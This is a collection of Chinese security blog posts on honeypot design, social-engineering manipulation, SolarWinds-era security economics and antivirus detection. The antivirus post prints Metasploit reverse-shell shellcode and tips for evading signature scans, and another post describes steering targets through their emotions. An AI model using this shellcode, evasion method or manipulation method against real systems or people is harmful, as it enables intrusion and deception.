<h4 id="4-2-3-放一些可能会泄露在公开网络上的有趣的东西然后反向搜索信息最开始的发布点"><a href="#4-2-3-放一些可能会泄露在公开网络上的有趣的东西然后反向搜索信息最开始的发布点" class="headerlink" title="4.2.3 放一些可能会泄露在公开网络上的有趣的东西然后反向搜索信息最开始的发布点"></a>4.2.3 放一些可能会泄露在公开网络上的有趣的东西然后反向搜索信息最开始的发布点</h4><p>比如在公司网络中的蜜罐里放上：“我是韩毅，红队没吃饭么”，然后反向搜索网上哪里是：“就tm你叫韩毅啊”的信息出处。</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
    <article
  id="post-高交互平行蜜罐的基础知识"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/04/08/%E9%AB%98%E4%BA%A4%E4%BA%92%E5%B9%B3%E8%A1%8C%E8%9C%9C%E7%BD%90%E7%9A%84%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"
    >高交互平行蜜罐的基础知识</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/04/08/%E9%AB%98%E4%BA%A4%E4%BA%92%E5%B9%B3%E8%A1%8C%E8%9C%9C%E7%BD%90%E7%9A%84%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/" class="article-date">
  <time datetime="2021-04-08T11:58:54.000Z" itemprop="datePublished">2021-04-08</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <h1 id="什么是平行高交互蜜罐"><a href="#什么是平行高交互蜜罐" class="headerlink" title="什么是平行高交互蜜罐"></a>什么是平行高交互蜜罐</h1><p>平行高交互蜜罐就是在防守方网络范围中<strong>单独开辟出一整套独立的网络环境</strong>并且在网络环境<strong>外部也有</strong>“客户端”概念上的蜜罐与之交互，并且产生的数据能和真实业务产生一定的<strong>逻辑关系而又不具备敏感性的信息</strong>。蜜罐本身所具有的内容也是和真实业务所平行的内容迭代。</p>
<p>高交互中除了具有传统模拟业务的功能之外，还应该有基于业务逻辑内的<strong>高可获权性和隐藏于逻辑外的额外溯源功能。</strong></p>
<h2 id="平行高交互式蜜罐的基本结构"><a href="#平行高交互式蜜罐的基本结构" class="headerlink" title="平行高交互式蜜罐的基本结构"></a>平行高交互式蜜罐的基本结构</h2><p>我们以传统概念上的网络可信任范围划分：</p>
<h3 id="范围内："><a href="#范围内：" class="headerlink" title="范围内："></a>范围内：</h3><h4 id="服务端的蜜罐"><a href="#服务端的蜜罐" class="headerlink" title="服务端的蜜罐"></a>服务端的蜜罐</h4><p>具有平行模拟真实业务的服务端</p>
<h4 id="独立的服务端数据存储"><a href="#独立的服务端数据存储" class="headerlink" title="独立的服务端数据存储"></a>独立的服务端数据存储</h4><p>用于存储产生的模拟交互和攻击者交互数据</p>
<h4 id="用于溯源的资料存储"><a href="#用于溯源的资料存储" class="headerlink" title="用于溯源的资料存储"></a>用于溯源的资料存储</h4><p>攻击者交互过程中产生的所有信息的独立存储</p>
<h4 id="黑白名单"><a href="#黑白名单" class="headerlink" title="黑白名单"></a>黑白名单</h4><p>用于区分攻击者交互和“客户端”蜜罐交互的黑白名单</p>
<h4 id="溯源的攻击工具（不推荐在服务端直接部署、推荐单独的网络环境）"><a href="#溯源的攻击工具（不推荐在服务端直接部署、推荐单独的网络环境）" class="headerlink" title="溯源的攻击工具（不推荐在服务端直接部署、推荐单独的网络环境）"></a>溯源的攻击工具（不推荐在服务端直接部署、推荐单独的网络环境）</h4><p>用于溯源攻击者的相关工具</p>
<h3 id="范围外："><a href="#范围外：" class="headerlink" title="范围外："></a>范围外：</h3><h4 id="客户端"><a href="#客户端" class="headerlink" title="客户端"></a>客户端</h4><p>用于模拟用户的功能</p>
<h4 id="专用于客户端的信息存储"><a href="#专用于客户端的信息存储" class="headerlink" title="专用于客户端的信息存储"></a>专用于客户端的信息存储</h4><p>用于收集攻击者可能攻击的业务风险而导致的用户数据安全从而进行溯源</p>
<h1 id="高交互平行蜜罐与传统蜜罐的区别"><a href="#高交互平行蜜罐与传统蜜罐的区别" class="headerlink" title="高交互平行蜜罐与传统蜜罐的区别"></a>高交互平行蜜罐与传统蜜罐的区别</h1><p>传统蜜罐特点就是适用性强、布置速度和便捷性相对较好，但是缺点也很明显，交互内容太少并且数据可信度不高，时间节点上也看不出业务的逻辑性，所以很容易被发现。</p>
<p>高交互式的蜜罐特点就是交互内容很多但是市面上现有的蜜罐都还是存在内容数据的可信度低的问题。</p>
<p>平行高交互蜜罐具有完整的和真实业务有逻辑联系但是诱饵数据有脱敏保证的，并且交互内容是镜像与真实业务有完整逻辑闭环的蜜罐，可信度很高，但是缺点就是部署时间很长。</p>
<h1 id="以最小成本为例讲企业如何实际部署"><a href="#以最小成本为例讲企业如何实际部署" class="headerlink" title="以最小成本为例讲企业如何实际部署"></a>以最小成本为例讲企业如何实际部署</h1><p>我们以上文中提到的基本结构为基础。</p>
<h3 id="服务端的蜜罐："><a href="#服务端的蜜罐：" class="headerlink" title="服务端的蜜罐："></a>服务端的蜜罐：</h3><p>微服务，Saas等都是成本低、部署相对较快、可定制内容比较全面的应用</p>
<h3 id="独立的服务端数据存储-1"><a href="#独立的服务端数据存储-1" class="headerlink" title="独立的服务端数据存储"></a>独立的服务端数据存储</h3><p>为了提高可信性，推荐使用与真实业务类似的架构但是规模上可以大幅度缩小的数据存储结构。也就是在交互外的内容只需要做到有就行，交互内的内容只需要做到“看起来足够就行”（可以使用数据填充或者用机器学习模拟数据等方式）。在部署时还要注意的就是时间戳一定要和真实业务有关联。</p>
<h3 id="用户溯源的资料存储"><a href="#用户溯源的资料存储" class="headerlink" title="用户溯源的资料存储"></a>用户溯源的资料存储</h3><p>容量可以很小，结构可以简单，但是安全性和隐蔽性需要有保证必须是高优先级。</p>
<h3 id="黑白名单-1"><a href="#黑白名单-1" class="headerlink" title="黑白名单"></a>黑白名单</h3><p>以规则形式存在即可</p>
<h4 id="溯源的攻击工具"><a href="#溯源的攻击工具" class="headerlink" title="溯源的攻击工具"></a>溯源的攻击工具</h4><p>常用工具</p>
<h4 id="客户端-1"><a href="#客户端-1" class="headerlink" title="客户端"></a>客户端</h4><p>不限形式，能正常使用服务端功能即可，客户端数量越多越好</p>
<h4 id="专用于客户端的信息存储-1"><a href="#专用于客户端的信息存储-1" class="headerlink" title="专用于客户端的信息存储"></a>专用于客户端的信息存储</h4><p>越小越好，但是必要的监控措施必须要有</p>
<h1 id="平行高交互蜜罐的运行逻辑"><a href="#平行高交互蜜罐的运行逻辑" class="headerlink" title="平行高交互蜜罐的运行逻辑"></a>平行高交互蜜罐的运行逻辑</h1><h2 id="正常模拟"><a href="#正常模拟" class="headerlink" title="正常模拟"></a>正常模拟</h2><p>客户端会正常使用服务端的功能并且产生数据，这些数据会经过黑白名单的判断进到独立的服务端数据存储中，并且客户端本身的基本监控应该运行</p>
<h2 id="攻击者"><a href="#攻击者" class="headerlink" title="攻击者"></a>攻击者</h2><p>攻击者会测试或者与服务端进行交互，交互产生的数据经过黑白名单判断进入用于溯源的资料存储，防守方利用这些资料使用溯源的攻击工具进行溯源。同时客户端如果收集到攻击者的数据可以直接传到用于溯源的资料存储中。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>充钱！对企业来说网络安全就是打游戏，每当企业的网络安全出现问题的时候我就会想起马老板的一句话：“充八万会这样？”</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
    <article
  id="post-语言交流中的驱动输入"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/03/22/%E8%AF%AD%E8%A8%80%E4%BA%A4%E6%B5%81%E4%B8%AD%E7%9A%84%E9%A9%B1%E5%8A%A8%E8%BE%93%E5%85%A5/"
    >语言交流中的驱动输入</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/03/22/%E8%AF%AD%E8%A8%80%E4%BA%A4%E6%B5%81%E4%B8%AD%E7%9A%84%E9%A9%B1%E5%8A%A8%E8%BE%93%E5%85%A5/" class="article-date">
  <time datetime="2021-03-22T15:21:50.000Z" itemprop="datePublished">2021-03-22</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <h1 id="语言交流中的特性"><a href="#语言交流中的特性" class="headerlink" title="语言交流中的特性"></a>语言交流中的特性</h1><p>人际沟通中的方式有很多，但是每一种不同的沟通方式都有其具体的共同特性和独特特性。沟通存在的共同特性是比较容易分析的，即都存在时间刻度，都包含信息，都存在信息传输目的这三个共有的特性。但在语言交流也就是说话，文字交流这种模式下也有其独特的性质：</p>
<h2 id="1-潜意识的影响较小"><a href="#1-潜意识的影响较小" class="headerlink" title="1.潜意识的影响较小"></a>1.潜意识的影响较小</h2><p>相较于身体语言交流（肢体，表情等）语言交流中我们都会调用大脑对嘴唇的控制所以受到大脑中潜意识对语言的影响是较小的。</p>
<h2 id="2-传输的信息是相对清晰的"><a href="#2-传输的信息是相对清晰的" class="headerlink" title="2.传输的信息是相对清晰的"></a>2.传输的信息是相对清晰的</h2><p>不管处在何种语言环境和文化环境，语言交流中传输的信息都是相对清晰的，也就是信息中存在的元素和状态的描述都是相对比较确定的、具有可独立识别性的。</p>
<h2 id="3-信息传输的目的是相对不稳定的"><a href="#3-信息传输的目的是相对不稳定的" class="headerlink" title="3.信息传输的目的是相对不稳定的"></a>3.信息传输的目的是相对不稳定的</h2><p>语言交流的目的和肢体交流传输目的作比较其实是相对不稳定的，肢体交流传输信息我们可以根据环境因素准确判断该传输目的是有意识的还是无意识的。但是在语言交流中其背后的目的存在具有混合意识的存在。</p>
<p>简单举个例子：在我们与人沟通交流的时候不一定全部都是带有目的的，有时会因为自身的潜意识或者文化习惯而混杂很多无意识的。</p>
<h1 id="什么是驱动输入"><a href="#什么是驱动输入" class="headerlink" title="什么是驱动输入"></a>什么是驱动输入</h1><p>驱动就是在社工行为或者对社工目标的分析中存在于目标的基准情感或者叫情感基线，驱动输入就是利用目标的这个情感来输入我们（也就是社工攻击者）的目的，这只是社工引导中的其中一种方式。</p>
<p>这里的情感并不止是传统意义上定义的，也包括目标的行为预期，目标在未受攻击下的状态变化。</p>
<h2 id="1-驱动输入的常见模式"><a href="#1-驱动输入的常见模式" class="headerlink" title="1.驱动输入的常见模式"></a>1.驱动输入的常见模式</h2><h3 id="1-1-根据目标的综合分析归纳得出输入内容"><a href="#1-1-根据目标的综合分析归纳得出输入内容" class="headerlink" title="1.1 根据目标的综合分析归纳得出输入内容"></a>1.1 根据目标的综合分析归纳得出输入内容</h3><p>在正常的社工流程中，对目标做好信息收集之后我们要做的便是结合信息分析出目标的基本画像。在这个分析中我们有一个很重点的内容就是在当我们开始攻击行为之前目标大概率或者说长期处在的状态或者心理情感是怎么样的。这部分内容其实就是目标的驱动机制，我们在得出基本分析结果之后就可以开始规划我们的输入内容了。</p>
<p>输入内容必须结合多种因素，除了语言这种最直接的之外，还应该有环境，时间（也就是基于时间的逻辑），客观事物（事件等）综合成为一个输入体系。</p>
<h2 id="1-2-模糊测试"><a href="#1-2-模糊测试" class="headerlink" title="1.2 模糊测试"></a>1.2 模糊测试</h2><p>在对应用程序的模糊测试中，我们关注的点在于输入输出。同样，在对人的模糊测试中，我们也会关注于我们输入的内容和输出的反馈，这种模糊测试对单个目标来说不太会有很好的实施条件，但是对群体目标来说就有非常好的统计学上的效果（量化很精准，评估很明确，决策判断较为容易）。</p>
<p>在实施模糊测试的过程中，我们输入的内容可以直接就是我们需要的目的或预期，由于每个人所具有的独特的环境因素和社交关系，每个单个输入的信息对每个目标都会产生不同的影响。在得到这些影响之后我们可以结合我们所需要的评判条件来得到最后我们所需要输入的内容以便对目标做出引导。</p>
<h2 id="2-驱动输入的内容体系"><a href="#2-驱动输入的内容体系" class="headerlink" title="2.驱动输入的内容体系"></a>2.驱动输入的内容体系</h2><h3 id="2-1-环境"><a href="#2-1-环境" class="headerlink" title="2.1 环境"></a>2.1 环境</h3><p>人是客观存在的，所以存在便会有具体的位置与环境，我们在设定输入内容的时候也要考虑在交流的过程中是否可以去主动改变环境以有利于我们或者选择一个有利的环境，如果不能则需要根据目标所处的环境来搭配我们所需要输入的内容</p>
<h3 id="2-2-时间"><a href="#2-2-时间" class="headerlink" title="2.2 时间"></a>2.2 时间</h3><p>从抽象概念来理解，社工行为或者人与人的交流本身就是一个事件，既然是事件必定会存在一个时间点或者时间线，而且这个时间刻度是具体的。所以我们在安排输入内容时间的时候一定要考虑到时间线的前后是否存在可以利用的逻辑关系。</p>
<h3 id="2-3-内容"><a href="#2-3-内容" class="headerlink" title="2.3 内容"></a>2.3 内容</h3><p>这里的内容分为两个部分，一个是信息，一个是目的。我们在交流的过程中通常会将信息作为我们的载体，通过目标对信息的反馈来达到我们的目的。所以在驱动输入的时候目的是需要我们根据目标来判断，信息则没有这么多的限制，可以是双方都了解的，也可以是某一方所了解的。</p>
<h1 id="语言交流中的驱动输入"><a href="#语言交流中的驱动输入" class="headerlink" title="语言交流中的驱动输入"></a>语言交流中的驱动输入</h1><p>文字和说话当然还有很多不同的注意点，不过本文就不再展开描述了，都统一归纳到语言交流中。在语言交流中我们如何去做到有“输入”效果的交流是我们在社工中能否成功的关键。接下来就结合之前讲到的语言交流的特性结合驱动输入的内容来做详细描述：</p>
<h2 id="1-逻辑与逻辑的全面性"><a href="#1-逻辑与逻辑的全面性" class="headerlink" title="1.逻辑与逻辑的全面性"></a>1.逻辑与逻辑的全面性</h2><p>在语言交流中，由于信息存在的表现是相对清晰的，所以在传递信息的时候就需要我们有一个相对完整的逻辑框架，尽量避免存在一些语义模糊的情况出现而导致的目的错误的状况。</p>
<p>并且这个逻辑的存在应该是完整的，这里的完整就是指攻击者与目标应该一同建立起整个信息传输的逻辑而不是单一的某一方完成整个逻辑的结构。</p>
<h2 id="2-目的的有意识分类与利用"><a href="#2-目的的有意识分类与利用" class="headerlink" title="2.目的的有意识分类与利用"></a>2.目的的有意识分类与利用</h2><p>我们之前提到过信息传输的目的是相对不稳定的，而且这个目的是存在有意识与无意识的，所以我们在语言交流中要主动地区分出这两种不同的目的，把有意识地目的导向我们的社工或者这次交流引导的目的，无意识的目的用来规避交流中存在的风险。</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
    <article
  id="post-转载文章-网络安全的经济学原罪：利润私有化，亏损社会化"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/03/03/%E8%BD%AC%E8%BD%BD%E6%96%87%E7%AB%A0-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%9A%84%E7%BB%8F%E6%B5%8E%E5%AD%A6%E5%8E%9F%E7%BD%AA%EF%BC%9A%E5%88%A9%E6%B6%A6%E7%A7%81%E6%9C%89%E5%8C%96%EF%BC%8C%E4%BA%8F%E6%8D%9F%E7%A4%BE%E4%BC%9A%E5%8C%96/"
    >转载文章-网络安全的经济学原罪：利润私有化，亏损社会化</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/03/03/%E8%BD%AC%E8%BD%BD%E6%96%87%E7%AB%A0-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%9A%84%E7%BB%8F%E6%B5%8E%E5%AD%A6%E5%8E%9F%E7%BD%AA%EF%BC%9A%E5%88%A9%E6%B6%A6%E7%A7%81%E6%9C%89%E5%8C%96%EF%BC%8C%E4%BA%8F%E6%8D%9F%E7%A4%BE%E4%BC%9A%E5%8C%96/" class="article-date">
  <time datetime="2021-03-03T09:57:48.000Z" itemprop="datePublished">2021-03-03</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <p><a target="_blank" rel="noopener" href="https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651100047&idx=1&sn=a81135f6c16b4d4dabcb086cfe3f1049">原文</a></p>
<blockquote>
<p>科技和行业垄断巨头们为什么敢于大肆掠夺个人隐私数据，同时又不断挤压网络安全预算，无视由此给个人、社会和国家造成的巨大安全风险？例如，为什么手机运营商明知道SIM卡交换攻击的可怕，却并不愿采取（更高成本的）缓解措施？为什么如此多的美国互联网企业在隐私保护方面总是不见棺材不落泪？</p>
</blockquote>
<p>近日，网络安全大咖施奈尔（Bruce Schneier）在纽约时报撰文指出，<strong>后资本主义时代私营企业们之所以不愿意在网络安全上花钱，是“市场经济”的必然结果，因为企业可以把风险转嫁给纳税人和用户。</strong></p>
<p>美国历史上最严重的黑客事件——SolarWinds供应链攻击暴露出的诸多问题中，SolarWinds自身的网络安全防御形同虚设，已经到了令人发指的地步。施奈尔认为SolarWinds作为一家垄断性的行业巨头，以“一己之力”给美国全社会带来不可估量的安全灾难，值得深刻反思。</p>
<p>施奈尔认为，资本和市场奖励公司的这种冒险精神，也就是所谓的<strong>“利润私有化，亏损社会化”。</strong>重视网络安全和隐私保护的企业会在竞争中处于不利地位，而不重视网络安全甚至侵犯用户隐私的企业，更有可能“野蛮生长”，并最终给国家网络安全带来系统性风险。</p>
<p>以下是施奈尔文章原文，编译如下：</p>
<p>2020年初，为俄罗斯政府工作的黑客组织入侵SolarWinds公司生产的一款广泛使用的网络管理软件（Orion）。这次黑客攻击使攻击者可以访问SolarWinds大约18,000个客户的计算机网络，其中包括美国政府机构，如国土安全部和国务院、美国核研究实验室、政府承包商、IT公司和非政府机构。</p>
<p>这是一次规模空前的袭击，对美国国家安全产生重大影响。参议院情报委员会定于本周二举行听证会，对事件进行问责质询。</p>
<p>当然，美国政府自身因网络防御能力不足应受到强烈谴责。但是，如果仅将黑客事件归咎为技术缺陷将掩盖一个导致网络安全困局的根本性问题——现代市场经济积极地奖励公司快速攫取短期利润并积极削减成本，其激励结构几乎可以确保<strong>“成功的”高科技公司推向市场的一定是不安全的产品和服务。</strong></p>
<p>像所有营利性公司一样，SolarWinds致力于通过最小化成本和最大化利润来提高股东价值。该公司主要由Silver Lake和Thoma Bravo拥有，Thoma Bravo本身就是因削减成本而闻名的私募股权公司。</p>
<p>能够成为行业领头羊，SolarWinds在网络安全上的投入自然是“低于行业平均水平”。该公司将其大部分软件工程外包给了便宜的海外程序员，尽管这通常会增加安全漏洞的风险。在2019年，在很长一段时间中，SolarWinds网络管理软件的更新服务器密码是妇孺皆知的“Solarwinds123”。显然，俄罗斯黑客不费吹灰之力就能入侵SolarWinds的电子邮件系统，并在那里潜伏了数月之久。</p>
<p>SolarWinds公司的网络安全顾问表示，在他提出加强网络安全的建议被忽略之后，他辞职了。</p>
<p>除了省钱以外，没有其他充分理由可以解释为什么SolarWinds要在网络安全上克扣预算，要知道SolarWinds的客户包括世界各地的政府机构，而花高价请来的技术顾问也强烈建议加强安全措施。</p>
<p>正如经济学作家马特·斯托勒（Matt Stoller）的论断，网络安全对于技术公司来说是削减成本的首选项。因为除非客户被黑客入侵，否则客户不会注意到这些问题（产品和服务的安全很差劲），而即使客户信息或资产被盗，企业也没有太大损失，因为这些客户已经为产品支付过费用。换句话说，网络攻击的风险可以转移给客户。这种策略从长期来看是否会减少回头客？当然，这里存在危险，但是投资者过于关注短期收益，以至于他们通常愿意冒险。</p>
<p>当这些网络安全（和隐私泄漏）风险主要由纳税人等其他方承担时，市场喜欢奖励公司的“冒险精神”。这被称为“利润私有化和亏损社会化”。这包括那些所谓的“大到不能倒闭”的公司，这也意味着整个社会都要为自己糟糕的商业决策付出代价。<strong>飞速发展的高科技公司危害了国家安全，将网络安全风险转移给客户，这恰恰是“市场机制”在起作用。</strong></p>
<p>（对于吃瓜群众来说）类似的错位激励措施也会影响您个人的日常网络安全。您的智能手机容易遭受一种被称为SIM卡交换攻击的欺诈行为，因为电话公司希望使您能够轻松地频繁购买新手机，并且他们（移动公司）知道网络诈骗造成的损失主要由用户自己承担。收集、使用和出售您的个人数据的数据代理机构和征信机构不会花费大量金钱来保护您的数据，因为如果有人对其进行黑客攻击和窃取，这将是您自己的问题（损失）。</p>
<p>社交媒体公司倾向放任仇恨言论和错误信息在其平台上泛滥成灾，因为删除这些言论的过程既昂贵又复杂，而且（这些煽动性的误导性的）言论不会给平台带来直接损失。<strong>实际上，无论何种性质的用户参与（例如：谣言、炒作），社交媒体平台都将从中获利。</strong></p>
<p>有两个问题需要解决。首先是信息不对称：购买者无法充分判断软件产品或公司行为的安全性。其次是错误的激励机制：市场鼓励公司基于自身利益做出决策，即使这会损害社会的广泛利益。<strong>这两个问题共同导致公司倾向通过承担更大的（网络安全和合规）风险来节省资金，然后将这种风险转嫁给这个国家的每一个人。</strong></p>
<p>迫使企业为客户和用户提供（充分）安全保护功能的唯一方法是政府干预。通过法律、法规强制企业为不安全因素支付真实成本（编者：例如每泄漏一条病例的罚款金额需要与真实损失和必要的威慑性挂钩）。政府通常会制定（人身与健康）安全法规，例如污染标准、汽车安全带、无铅汽油、食品安全法规。今天，我们需要对网络安全做同样的事情：美国联邦政府应为软件和软件开发设定最低安全标准。</p>
<p>在当今监管不足的市场中，像SolarWinds这样的软件公司太容易通过克扣安全支出来节省成本，提升财务表现。在当今的自由市场世界中，这是一个“理性”的决定，而扭转局面的唯一方法就是从根本上改变（蔑视）网络安全的经济动机。</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
    <article
  id="post-杀毒软件的基本原理"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/03/03/%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6%E7%9A%84%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/"
    >杀毒软件的基本原理</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/03/03/%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6%E7%9A%84%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/" class="article-date">
  <time datetime="2021-03-02T19:02:23.000Z" itemprop="datePublished">2021-03-03</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <h2 id="杀毒软件的基本等级"><a href="#杀毒软件的基本等级" class="headerlink" title="杀毒软件的基本等级"></a>杀毒软件的基本等级</h2><h3 id="1-无害"><a href="#1-无害" class="headerlink" title="1.无害"></a>1.无害</h3><p>没有任何可疑行为，没有任何特征符合病毒</p>
<h3 id="2-可疑"><a href="#2-可疑" class="headerlink" title="2.可疑"></a>2.可疑</h3><p>存在可疑行为：操作注册表，打开powershell，修改用户，操作敏感文件等</p>
<h3 id="3-确认病毒"><a href="#3-确认病毒" class="headerlink" title="3.确认病毒"></a>3.确认病毒</h3><p>特征符合病毒</p>
<h2 id="杀毒软件的常用识别方式"><a href="#杀毒软件的常用识别方式" class="headerlink" title="杀毒软件的常用识别方式"></a>杀毒软件的常用识别方式</h2><h3 id="1-静态"><a href="#1-静态" class="headerlink" title="1.静态"></a>1.静态</h3><p>通常通过反编译的方式查看源代码</p>
<h4 id="1-1-代码中存在的函数"><a href="#1-1-代码中存在的函数" class="headerlink" title="1.1 代码中存在的函数"></a>1.1 代码中存在的函数</h4><p>virtualalloc，rtlmovememory，ntcreatthread等</p>
<p>主要都是windowsapi函数，尤其是和内存、堆、线程相关的函数</p>
<p>当然在python中如果存在“cmd”等关键词也是会被识别的：比如subprocess.popen（“cmd /c”）可以改为subprocess.popen（“命令”）</p>
<h4 id="1-2-shellcode的特征"><a href="#1-2-shellcode的特征" class="headerlink" title="1.2 shellcode的特征"></a>1.2 shellcode的特征</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">;-----------------------------------------------------------------------------;</span><br><span class="line">; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)</span><br><span class="line">; Compatible: Windows 7, 2003</span><br><span class="line">; Architecture: x64</span><br><span class="line">;-----------------------------------------------------------------------------;</span><br><span class="line">[BITS 64]</span><br><span class="line"></span><br><span class="line">; Input: RBP must be the address of &#39;api_call&#39;.</span><br><span class="line">; Output: RDI will be the socket for the connection to the server</span><br><span class="line">; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15</span><br><span class="line"></span><br><span class="line">reverse_tcp:</span><br><span class="line">  ; setup the structures we need on the stack...</span><br><span class="line">  mov r14, &#39;ws2_32&#39;</span><br><span class="line">  push r14               ; Push the bytes &#39;ws2_32&#39;,0,0 onto the stack.</span><br><span class="line">  mov r14, rsp           ; save pointer to the &quot;ws2_32&quot; string for LoadLibraryA call.</span><br><span class="line">  sub rsp, 408+8         ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment)</span><br><span class="line">  mov r13, rsp           ; save pointer to the WSAData structure for WSAStartup call.</span><br><span class="line">  mov r12, 0x0100007F5C110002        </span><br><span class="line">  push r12               ; host 127.0.0.1, family AF_INET and port 4444</span><br><span class="line">  mov r12, rsp           ; save pointer to sockaddr struct for connect call</span><br><span class="line">  ; perform the call to LoadLibraryA...</span><br><span class="line">  mov rcx, r14           ; set the param for the library to load</span><br><span class="line">  mov r10d, 0x0726774C   ; hash( &quot;kernel32.dll&quot;, &quot;LoadLibraryA&quot; )</span><br><span class="line">  call rbp               ; LoadLibraryA( &quot;ws2_32&quot; )</span><br><span class="line">  ; perform the call to WSAStartup...</span><br><span class="line">  mov rdx, r13           ; second param is a pointer to this stuct</span><br><span class="line">  push 0x0101            ;</span><br><span class="line">  pop rcx                ; set the param for the version requested</span><br><span class="line">  mov r10d, 0x006B8029   ; hash( &quot;ws2_32.dll&quot;, &quot;WSAStartup&quot; )</span><br><span class="line">  call rbp               ; WSAStartup( 0x0101, &amp;WSAData );</span><br><span class="line">  ; perform the call to WSASocketA...</span><br><span class="line">  push rax               ; if we succeed, rax wil be zero, push zero for the flags param.</span><br><span class="line">  push rax               ; push null for reserved parameter</span><br><span class="line">  xor r9, r9             ; we do not specify a WSAPROTOCOL_INFO structure</span><br><span class="line">  xor r8, r8             ; we do not specify a protocol</span><br><span class="line">  inc rax                ;</span><br><span class="line">  mov rdx, rax           ; push SOCK_STREAM</span><br><span class="line">  inc rax                ;</span><br><span class="line">  mov rcx, rax           ; push AF_INET</span><br><span class="line">  mov r10d, 0xE0DF0FEA   ; hash( &quot;ws2_32.dll&quot;, &quot;WSASocketA&quot; )</span><br><span class="line">  call rbp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );</span><br><span class="line">  mov rdi, rax           ; save the socket for later</span><br><span class="line">  ; perform the call to connect...</span><br><span class="line">  push byte 16           ; length of the sockaddr struct</span><br><span class="line">  pop r8                 ; pop off the third param</span><br><span class="line">  mov rdx, r12           ; set second param to pointer to sockaddr struct</span><br><span class="line">  mov rcx, rdi           ; the socket</span><br><span class="line">  mov r10d, 0x6174A599   ; hash( &quot;ws2_32.dll&quot;, &quot;connect&quot; )</span><br><span class="line">  call rbp               ; connect( s, &amp;sockaddr, 16 );</span><br><span class="line">  ; restore RSP so we dont have any alignment issues with the next block...</span><br><span class="line">  add rsp, ( (408+8) + (8*4) + (32*4) ) ; cleanup the stack allocations</span><br></pre></td></tr></table></figure>
<p>以msf举例，杀毒软件最常用的就是判断 mov r10d, 0x0726774C   ; hash( “kernel32.dll”, “LoadLibraryA” )这一部分的代码来识别，通常汇编层级下的代码要深入识别查杀对杀毒软件来说有一定误判的风险，所以一般的杀毒引擎都是通过shellcode中的特征码来识别，比如这一句代码可以用syscall代替试试（也就是直接纯手动找函数偏移而不是直接hash去找）</p>
<p>每个杀毒软件可能找的地方都不一样，推荐使用myccl+ida详细找一下具体查杀的哪个位置</p>
<h4 id="1-3-文件名称或md5"><a href="#1-3-文件名称或md5" class="headerlink" title="1.3 文件名称或md5"></a>1.3 文件名称或md5</h4><p>不多介绍，看标题就懂。</p>
<h4 id="1-4-加密（可疑）"><a href="#1-4-加密（可疑）" class="headerlink" title="1.4 加密（可疑）"></a>1.4 加密（可疑）</h4><p>使用加密解密行为或者对文件有额外保护措施</p>
